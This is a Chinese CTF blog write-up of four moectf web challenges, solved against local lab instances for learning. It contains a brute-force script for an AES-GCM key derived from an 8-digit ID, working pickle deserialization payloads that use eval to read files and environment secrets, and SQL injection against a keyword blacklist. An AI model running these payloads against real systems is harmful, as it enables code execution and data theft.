moectf-week2

难度有点上来了😥

查分系统_revenge

题目信息：老师听说上次发布的系统可以查到所有人的分数，于是老师让沙包AI完善了一下这个系统，这样肯定大家只能凭学号查到自己的成绩了吧（学号为8位数字）

这题是上次查分系统的强化版，上次是可以直接进行search找到flag，这次题目把所有的数据都进行了加密。
那就先读一下代码然后分析怎么来解密吧。

<div class="card">
    <h1>数学分析期末成绩查询</h1>
    <input id="input_sid" class="form-input" placeholder="请输入 8 位学号" maxlength="8">
    <button id="btn_search" onclick="searchScore()">查询成绩</button>  
    <div id="error_tip"></div>
    <div id="result_box"></div>
</div>

调用函数searchScore()，点击按钮时执行查询操作

async function searchScore() {
    const sidDom = document.getElementById("input_sid");
    const btnDom = document.getElementById("btn_search");
    const sid = sidDom.value.trim();  //这个应该是获取输入学号

    if (!/^\d{8}$/.test(sid)) {     //判断输入是否为8位数字
        showErr("请输入 8 位数字学号！");
        return;
    }

    btnDom.disabled = true;
    try {
        for (const record of encryptedStudentData) {   //遍历每一条数据
            try {   //输入正确时的学号
                const student = await tryDecrypt(record, sid);
                showResult(student);
                return;
            } catch (e) {}
        }
        showErr("学号错误");
    } finally {
        btnDom.disabled = false;
    }
}

这里可以看出是拿输入进去的学号来尝试解密每一个数据，若可以正确解密（解密出来的学号和输入的学号相同）就直接输出。

async function makeKey(password) {  //生成密钥，password是输入的学号
    const raw = new TextEncoder().encode(password);   //将输入的学号转换为字节数组
    const hash = await crypto.subtle.digest("SHA-256", raw);  //哈希加密
    return crypto.subtle.importKey("raw", hash, { name: "AES-GCM" }, false, ["decrypt"]);
}

async function tryDecrypt(record, sid) {     //尝试解密，sid是输入的学号，record是加密数据
    const key = await makeKey(sid); 
    const iv = b64ToBytes(commonIv);
    const data = b64ToBytes(record["数据"]);
    const plain = await crypto.subtle.decrypt({ name: "AES-GCM", iv }, key, data);
    const student = JSON.parse(new TextDecoder().decode(plain));
    if (String(student["学号"]) !== sid) throw new Error("mismatch");
    return student;
}

使用的是AES-GCM对称加密，源代码是给出了const commonIv = "bW9lY3RmMjAyNml2";这个明显也是base64编码，转化过来是moectf2026iv但是我们这里直接缺少一个秘钥key而这道题目中的key又需要通过输入的学号来得到。明显这题要解出来的话就是要把key给试出来。
这里使用py脚本对其进行学号爆破，我想法是先找出了看起来像是藏有flag的学生加密信息，这样用py脚本来爆破能快很多并且直接就能得到flag。

对于第234行其学生信息最长，最有可能是放flag的地方，先重点对其爆破。
那么问题就集中在python中如何进行SHA-256，以及如何使用AES-GCM。
随后写出解题的代码

from Crypto.Cipher import AES
import hashlib
import base64

text = base64.b64decode(
    "EU6+AKa9FPBW9+CNtCZv/WKaUeXZ81UOcyMal2aaBu5Bk2oVlcl9cKB4x1gwk3HaaTgnY9WRsoy+wK0jF9A85pKeOg8BL4kHK9xjMSj2oyzyQRQ0pWqr2Mchmh1CX1NAsQVunHm17AGNEl7dGClUOpWPQ5qUU3d+F2gm85wlsHuhBLJ2VfuN4pU1LnmcjhXFmDFGmqpIpjEFD1mKqzHKxoPBp23Cfz8pAUkt/dwcPIKOgQgyLyGzWh3y3thhN2xMLhb0n4+20qRDl3y/LM5/MjNjJcQ1DAXc6ZyFqdRQzHxP+5JC+dqrjD2mCpx7Xdi+trHfgx5hVXObwvsgJtkCuoMlR08fc9sivX9+cC5BoXuDKI+9u83RlHjI23hUgpBmURFbN2GXu9aw9L0gT/stvkUHMdfqWCIyqr/VdKd8fedHQZzpQJazF8QJggkERUYvBl+Dbi5j8LBekblwBpkSjTJybM/DrbCUYmnlSO2X+P+VF7wEG/E+KqZw/xKpl8Mb3kkhJF9MHkFe+65gBXmqFwxZfBKJ3yT80uVxGq4dSnErK1fvdHtkpW1NSBXGGD/Qo79/qD7Zj/PPzYVOkKdo4Yw/mT4RVD99kqtguL+9TniYOWgPQkIqLEhhd/H0QgdU6Kanp1JeuqO7EHfk8XRz4HL1Jlx2E8zyEr0J2IiViNUeSf/BTliehGpuiYeAcA=="
)

iv = b"moectf2026iv" 

for i in range(10000000, 100000000):
    
    print(i)
    sid = str(i).encode()
    key = hashlib.sha256(sid).digest()   #把学号sid通过SHA-256哈希，生成一个32字节的密钥。
    cipher = AES.new(key, AES.MODE_GCM, nonce=iv)

    #校验是否解密成功
    try:
        plaintext = cipher.decrypt_and_verify(text[:-16], text[-16:]) #这里是因为AES-GCM加密后会得到两个部分：真正的密文text和16字节的认证标签tag
    except ValueError:
        continue

    print("sid =", sid.decode())
    print(plaintext.decode())
    break

python实现加密解密

moectf{y0u_c@n_reAd_th3_htmI_Annmnd_Buwuuurp_1IllIIlIIl11llII}

我爱发明

打开后是一个倒计时让我们快速填入的信息的页面。

前面两题都比较简单，应该是引导如何使用。

重点在于第三个问题。它时间给的特别短，时间一到就提示 本轮验收尚未开始或已经结束，请回到第三关。

首先是需要 收集所有盖章通过的机械组验收片段，观察了一下档案库内是 6 的倍数的物品都是具有验收片段的，并且每次结束后再开启片段还是不一样的。

这题思路很清晰，就是让我们写 py 脚本并且查找每一组 6 的倍数的 invent，找出所有的验收片段，再把这些片段用英文竖线 | 连接，提交该连接串的 SHA256 结果，格式为 64 位十六进制。

首先使用 burpsuite 来查看请求格式。

每次点开都带有一个新的 cookie，并且这个 cookie 就代表着一局游戏的进行。

我其实是想着使用程序自动获取 cookie 的，但是我这里发现如果我用 requests 访问页面的时候不会带上 cookie，直接 403 拒绝访问。

不过时间看起来还是比较充足的，尝试一下直接手动获取 cookie 填入应该来得及。

Python爬取网页数据

import requests
import hashlib
import re


def solve_challenge():
    print("Cookie：")
    my_cookie = input().strip()

    base_url = "http://127.0.0.1:31557/invent/{}"
    fragments = []

    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
        "Cookie": my_cookie
    }

    print("\n开始提取片段...")

    for i in range(6, 289, 6):
        url = base_url.format(i)
        try:
            response = requests.get(url, headers=headers, timeout=5)

            if response.status_code == 200:
                match = re.search(r'验收片段[\s\S]*?[：:][\s\S]*?([A-Z0-9]{8})', response.text)
                if match:
                    code = match.group(1)
                    fragments.append(code)
                    print(f"{i}: {code}")
                else:
                    print(f"{i}: 未找到符合格式的片段")
            else:
                print(f"{i}: 状态码 {response.status_code}")

        except Exception as e:
            print(f"{i}: {e}")

    final_string = "|".join(fragments)
    sha256_hash = hashlib.sha256(final_string.encode('utf-8')).hexdigest()
    print(f"最终 SHA256: {sha256_hash}")


if __name__ == "__main__":
    solve_challenge()

moectf{Comput3rs_@r3_m@gn!fic3nt_+00l}

日志系统

这是一道上传文件导入恶意脚本的问题，题目可以通过导入 .pkl 格式的文件来导入日志。

那么首先先查找 pkl 的相关资料。

pickle反序列化 Python Pickle 模块

了解到了一些基本知识：

pickle.dumps() 把对象变成二进制数据 pickle.loads() 把二进制数据变回对象，并且在读取时会执行其中的代码 eval 可以把字符串当成字符来执行（可以避免跨平台报错）

先使用查找到的代码模板进行尝试：

import pickle

# 创建一个 Python 对象
data = {
    'name': 'Alice',
    'age': 25,
    'hobbies': ['reading', 'traveling']
}

# 将对象序列化并保存到文件
with open('data.pkl', 'wb') as file:
    pickle.dump(data, file)

发现是可以进行读取的操作，pickle 文件可以正常运行。

__reduce__ 需要返回元组，会在反序列化的时候自动执行，尝试使用这个函数来攻击。

尝试利用 os 来读取环境变量：

import pickle

class Exploit(object):
    def __reduce__(self):
        b = "str(__import__('os').environ.items())"
        return (eval, (b,))

payload = pickle.dumps(Exploit())
with open('env.pkl', 'wb') as f:
    f.write(payload)

似乎并没有什么用

再看看 app.py 里有什么：

import pickle

class Exploit(object):
    def __reduce__(self):
        b = "open('app.py', 'r').read()"
        return (eval, (b,))

payload = pickle.dumps(Exploit())
with open('env.pkl', 'wb') as f:
    f.write(payload)

也是显示不全，干脆直接尝试读 FLAG 算了：

import pickle

class Exploit:
    def __reduce__(self):
        b = "__import__('os').environ.get('FLAG')"
        return (eval, (b,))

payload = pickle.dumps(Exploit())
with open('solve.pkl', 'wb') as f:
    f.write(payload)

moectf{5d4b9f1e-994e-3039-a0cc-cb4da00ad27f}

江洋大盗

又是一道典型的 SQL 注入的问题，这道升级版的题目有以下的命令无法使用：

BLACKLIST = [
    "union",
    "sleep",
    "benchmark",
    "get_lock",
    "release_lock",
    "extractvalue",
    "updatexml",
    "load_file",
    "outfile",
    "dumpfile",
    " into ",
    "insert",
    "update",
    "delete",
    "drop",
    "alter",
    "create",
    "replace",
    "truncate",
    "handler",
    "procedure",
    "--",
    "/*",
    "*/",
    "#",
    ";",
]

不过 AND 是没有禁用的，感觉可以试试布尔盲注。

发现是可行的，并且在错误时也会提示。说明可以使用 sqlmap 进行尝试。

• dbs
• tables
• dump

moectf{C0ngr@+u1@7|0ns_8u+_+h3re_wou1d_not_6e_any_pas7_3x@m_pap3r_in_f4ct}

文章作者: hap

文章链接: https://happasc.github.io/2026/08/29/moectf-week2/

版权声明: 本博客所有文章除特别声明外，均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 happasc-blog！

moectfctf

上一篇

moectf-week3

礼崩乐坏JavaScript原链型污染 题目信息： 123我听闻，从前管束子弟，有家法、有规矩、有祖宗传下来的章法。做父亲的教儿子，做兄长的带弟弟，一代一代，都守着本分。可如今呢？家法松了，规矩淡了，晚辈做什么，长辈也未必看得住。这就好比写JavaScript，顶层的写法，像祖宗留下的旧宅，格局分明，门是门、窗是窗；可后来的人，图省事、图新潮，把旧宅拆了，东拼西凑搭个棚子，也能住人。祖宗留下的规矩还在，但已经管不着他们了。这样看来，礼法不是没了，是没人肯照着做了。名分还在，人心却散了。 这题又是原链型污染，相较于上次做了一次升级。 和上一题目一样，也是需要我们通过修改这个继承 Admin 还有 canRead 来提权。 先补充一些知识点JavaScript原型链污染Node.js - __proto__ and Prototype Pollution 了解到 JavaScript 中，我们如果要定义一个类，需要以定义“构造函数”的方式来定义。JavaScript 中每个对象拥有一个原型对象。当一个对象自身没有的属性会向“原型”进行查找。普通 {} 对象通常会有一个原型...

下一篇

moectf-week1

web一些必要的知识网络协议 协议 主要作用 IP 标识网络中的设备，并负责数据包的寻址与传递。 TCP 建立可靠连接，尽可能确保数据完整、有序地到达。 UDP 更加轻量、速度较快，但不保证数据可靠到达。 DNS 将人类容易记忆的域名转换为 IP 地址。 HTTP 在浏览器、客户端与 Web 服务器之间传输数据。 HTTPS 使用 TLS 加密保护通信过程的 HTTP。 WebSocket 在客户端和服务器之间建立持续的双向通信。 moectf Web方向查分系统这题是个静态网页，而且信息全写在了html没有进行任何加密处理，直接搜索关键词moectf就找到flag了。 moectf{y0u_c@n_reAd_th3_h+nn1} Web 安全与渗透测试入门指北这题属于一个入门题目，点击F12moectf{W3Lc0me_t0_th3_W0rLd_0f_w3BseCur1ty!!} 归途这题需要我们把藏在网页中的key找出来。 首先用F12先找到了Key1-N2ghNUkkTQ==，Key2-QDBtNG9k 随...

相关推荐

2026-09-22

moectf-week5

Moe论坛RCE 木马上传 SUID XSS bot这周就做了这题，这题的知识点比较综合，也感谢管理员给出了一些引导。首先打开是一个登录注册的界面，先注册登录一个账号看看是个什么情况。注册的时候发现是有管理员账号的，估计也是要进行提权操作或者登录管理员账号。 发现有个 admin 的 bot 会每隔一分钟来自动访问这个首页，并且在发布帖子的地方可以用 html 那么猜测是利用 XSS 来让这个 bot 执行某些操作。使用 <script>alert(1)</script> 进行试探。发现是没有过滤 <script> 字段的。 那么接下来就得思考我需要获取什么信息。使用 burpsuite 抓包时发现我们是带有特殊的 cookie 去访问页面的 这里的 role 就很明显让我们切换成 admin 来访问页面。我的第一反应是让这个 bot 访问页面的时候我进行 XSS 页面劫持，让它携带 cookie 等的信息发送到我暴露在公网的 IP 下。混合型 XSS 1234<script> var c = encodeURICompone...

2026-09-05

moectf-week3

礼崩乐坏JavaScript原链型污染 题目信息： 123我听闻，从前管束子弟，有家法、有规矩、有祖宗传下来的章法。做父亲的教儿子，做兄长的带弟弟，一代一代，都守着本分。可如今呢？家法松了，规矩淡了，晚辈做什么，长辈也未必看得住。这就好比写JavaScript，顶层的写法，像祖宗留下的旧宅，格局分明，门是门、窗是窗；可后来的人，图省事、图新潮，把旧宅拆了，东拼西凑搭个棚子，也能住人。祖宗留下的规矩还在，但已经管不着他们了。这样看来，礼法不是没了，是没人肯照着做了。名分还在，人心却散了。 这题又是原链型污染，相较于上次做了一次升级。 和上一题目一样，也是需要我们通过修改这个继承 Admin 还有 canRead 来提权。 先补充一些知识点JavaScript原型链污染Node.js - __proto__ and Prototype Pollution 了解到 JavaScript 中，我们如果要定义一个类，需要以定义“构造函数”的方式来定义。JavaScript 中每个对象拥有一个原型对象。当一个对象自身没有的属性会向“原型”进行查找。普通 {} 对象通常会有一个原型...

2026-09-15

moectf-week4

Web巧乐兹RCE,SpringBoot,fastjson 这题做了好久…不过真的学到了好多东西！😋 打开是一个公告系统，先试用抓包工具进行初步的分析。当进行保存的操作时会向 /api/v1/notes 发送 PUT 请求，发送 json 可以直接显示在页面上。 12345678910111213141516171819PUT /api/v1/notes HTTP/1.1Host: 127.0.0.1:62820Content-Length: 110sec-ch-ua-platform: "Windows"Accept-Language: zh-CN,zh;q=0.9sec-ch-ua: "Chromium";v="151", "Not=A?Brand";v="99"Content-Type: application/jsonsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT ...

2026-08-14

moectf-week1

web一些必要的知识网络协议 协议 主要作用 IP 标识网络中的设备，并负责数据包的寻址与传递。 TCP 建立可靠连接，尽可能确保数据完整、有序地到达。 UDP 更加轻量、速度较快，但不保证数据可靠到达。 DNS 将人类容易记忆的域名转换为 IP 地址。 HTTP 在浏览器、客户端与 Web 服务器之间传输数据。 HTTPS 使用 TLS 加密保护通信过程的 HTTP。 WebSocket 在客户端和服务器之间建立持续的双向通信。 moectf Web方向查分系统这题是个静态网页，而且信息全写在了html没有进行任何加密处理，直接搜索关键词moectf就找到flag了。 moectf{y0u_c@n_reAd_th3_h+nn1} Web 安全与渗透测试入门指北这题属于一个入门题目，点击F12moectf{W3Lc0me_t0_th3_W0rLd_0f_w3BseCur1ty!!} 归途这题需要我们把藏在网页中的key找出来。 首先用F12先找到了Key1-N2ghNUkkTQ==，Key2-QDBtNG9k 随...

2026-10-09

CTF 笔记 1

[极客大挑战 2019]EasySQL学习资料 helloctf-sql注入 CSDN-SQL 语法 实战 这里同时具有用户名还有密码可以进行填入。 从后端数据库的操作来看的话应该 1select *from 表 where username= '' &password='' --条件 那么可以采取注释后面密码的方式并且满足条件即可即实现如下效果，选择比较常用的 admin 账号来进行登录。 1select *from 表 where username= 'admin' or '1'='1' -- a' --&password='1' 注意由于这里 sql 的注释 – 后需要空格，所以写为 – a 较为稳妥。 那么则输入admin’ or ‘1’=’1’ – a 或者也可以让后面的密码保持成立 1select *from 表 where username= 'admin' or '1'...

---

评论